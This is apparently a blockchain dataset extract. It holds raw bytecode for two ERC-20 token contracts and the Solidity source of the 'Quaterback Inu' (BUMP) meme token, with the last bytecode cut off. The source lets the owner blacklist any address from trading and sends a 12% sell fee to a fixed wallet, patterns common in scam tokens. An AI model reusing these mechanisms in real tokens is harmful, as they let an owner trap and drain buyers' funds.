0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde031461014f578063095ea7b3146101dd57806318160ddd1461023757806323b872dd14610260578063313ce567146102d95780633245a55f14610308578063355274ea14610362578063378dc3dc1461038b57806340c10f19146103b4578063661884631461040e5780636d6a6a4d1461046857806370a08231146104915780637d64bcb4146104de5780638da5cb5b1461050b57806395d89b4114610560578063a9059cbb146105ee578063d5abeb0114610648578063d73dd62314610671578063dd62ed3e146106cb578063f2fde38b14610737575b600080fd5b341561012d57600080fd5b610135610770565b604051808215151515815260200191505060405180910390f35b341561015a57600080fd5b610162610783565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a2578082015181840152602081019050610187565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e857600080fd5b61021d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610821565b604051808215151515815260200191505060405180910390f35b341561024257600080fd5b61024a610913565b6040518082815260200191505060405180910390f35b341561026b57600080fd5b6102bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091d565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec610cd7565b604051808260ff1660ff16815260200191505060405180910390f35b341561031357600080fd5b610348600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cdc565b604051808215151515815260200191505060405180910390f35b341561036d57600080fd5b610375610dbd565b6040518082815260200191505060405180910390f35b341561039657600080fd5b61039e610dc3565b6040518082815260200191505060405180910390f35b34156103bf57600080fd5b6103f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dc9565b604051808215151515815260200191505060405180910390f35b341561041957600080fd5b61044e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e7a565b604051808215151515815260200191505060405180910390f35b341561047357600080fd5b61047b61110b565b6040518082815260200191505060405180910390f35b341561049c57600080fd5b6104c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611116565b6040518082815260200191505060405180910390f35b34156104e957600080fd5b6104f161115e565b604051808215151515815260200191505060405180910390f35b341561051657600080fd5b61051e611226565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056b57600080fd5b61057361124c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b3578082015181840152602081019050610598565b50505050905090810190601f1680156105e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105f957600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112ea565b604051808215151515815260200191505060405180910390f35b341561065357600080fd5b61065b611509565b6040518082815260200191505060405180910390f35b341561067c57600080fd5b6106b1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061150f565b604051808215151515815260200191505060405180910390f35b34156106d657600080fd5b610721600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061170b565b6040518082815260200191505060405180910390f35b341561074257600080fd5b61076e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611792565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108195780601f106107ee57610100808354040283529160200191610819565b820191906000526020600020905b8154815290600101906020018083116107fc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561095a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3257600080fd5b610a83826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b16826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3b57600080fd5b600360149054906101000a900460ff16151515610d5757600080fd5b600454600154101515610d6957600080fd5b600454610d818460015461190390919063ffffffff16565b101515610da657610d9f6001546004546118ea90919063ffffffff16565b9050610daa565b8290505b610db48482611921565b91505092915050565b60045481565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2757600080fd5b600360149054906101000a900460ff16151515610e4357600080fd5b600454610e5b8360015461190390919063ffffffff16565b11151515610e6857600080fd5b610e728383611921565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f8b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101f565b610f9e83826118ea90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b601260ff16600a0a81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bc57600080fd5b600360149054906101000a900460ff161515156111d857600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e25780601f106112b7576101008083540402835291602001916112e2565b820191906000526020600020905b8154815290600101906020018083116112c557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561132757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561137457600080fd5b6113c5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611458826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60006115a082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ee57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561182a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118f857fe5b818303905092915050565b600080828401905083811015151561191757fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197f57600080fd5b600360149054906101000a900460ff1615151561199b57600080fd5b6119b08260015461190390919063ffffffff16565b600181905550611a07826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582063c5bc4b92c2489ed1390fe57a347f179b9ab6e443cc2b001a55a01cf3b8370d0029
{"success": true, "error": null, "results": {}}
8,505
0xb6d90F4C2C0cF68434511EA7292Aaf4b73a666A5
/** Join and touchdown https://quaterbackinu.net/ https://t.me/QuaterbackInu */ pragma solidity 0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Bump is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 444444444444444 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Quaterback Inu"; string private constant _symbol = "BUMP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xfC8d7058612Cb898631Bf221d770546b657715B6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 8888888888888 * 10**9; _maxWalletSize = 17777777777777 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e57565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061297a565b6104b4565b60405161018e9190612e3c565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612ff9565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b6565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d919061292b565b610634565b60405161021f9190612e3c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061289d565b61070d565b005b34801561025d57600080fd5b506102666107fd565b604051610273919061306e565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129f7565b610806565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a49565b6108b8565b005b3480156102da57600080fd5b506102e3610993565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061289d565b610a05565b6040516103199190612ff9565b60405180910390f35b34801561032e57600080fd5b50610337610a56565b005b34801561034557600080fd5b5061034e610ba9565b005b34801561035c57600080fd5b50610365610c62565b6040516103729190612d6e565b60405180910390f35b34801561038757600080fd5b50610390610c8b565b60405161039d9190612e57565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061297a565b610cc8565b6040516103da9190612e3c565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a49565b610ce6565b005b34801561041857600080fd5b50610421610dc1565b005b34801561042f57600080fd5b50610438610e3b565b005b34801561044657600080fd5b50610461600480360381019061045c91906128ef565b6113ab565b60405161046e9190612ff9565b60405180910390f35b60606040518060400160405280600e81526020017f5175617465726261636b20496e75000000000000000000000000000000000000815250905090565b60006104c86104c1611432565b848461143a565b6001905092915050565b6000695e1d61b13ea265f41800905090565b6104ec611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612f39565b60405180910390fd5b60005b8151811015610630576001600660008484815181106105c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106289061330f565b91505061057c565b5050565b6000610641848484611605565b6107028461064d611432565b6106fd8560405180606001604052806028815260200161373260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b3611432565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c989092919063ffffffff16565b61143a565b600190509392505050565b610715611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990612f39565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612f39565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108c0611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612f39565b60405180910390fd5b6000811161095a57600080fd5b61098a606461097c83695e1d61b13ea265f41800611cfc90919063ffffffff16565b611d7790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611432565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b6000479050610a0281611dc1565b50565b6000610a4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2d565b9050919050565b610a5e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bb1611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590612f39565b60405180910390fd5b695e1d61b13ea265f41800600f81905550695e1d61b13ea265f41800601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f42554d5000000000000000000000000000000000000000000000000000000000815250905090565b6000610cdc610cd5611432565b8484611605565b6001905092915050565b610cee611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612f39565b60405180910390fd5b60008111610d8857600080fd5b610db86064610daa83695e1d61b13ea265f41800611cfc90919063ffffffff16565b611d7790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611432565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2d30610a05565b9050610e3881611e9b565b50565b610e43611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612f39565b60405180910390fd5b600e60149054906101000a900460ff1615610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612fd9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9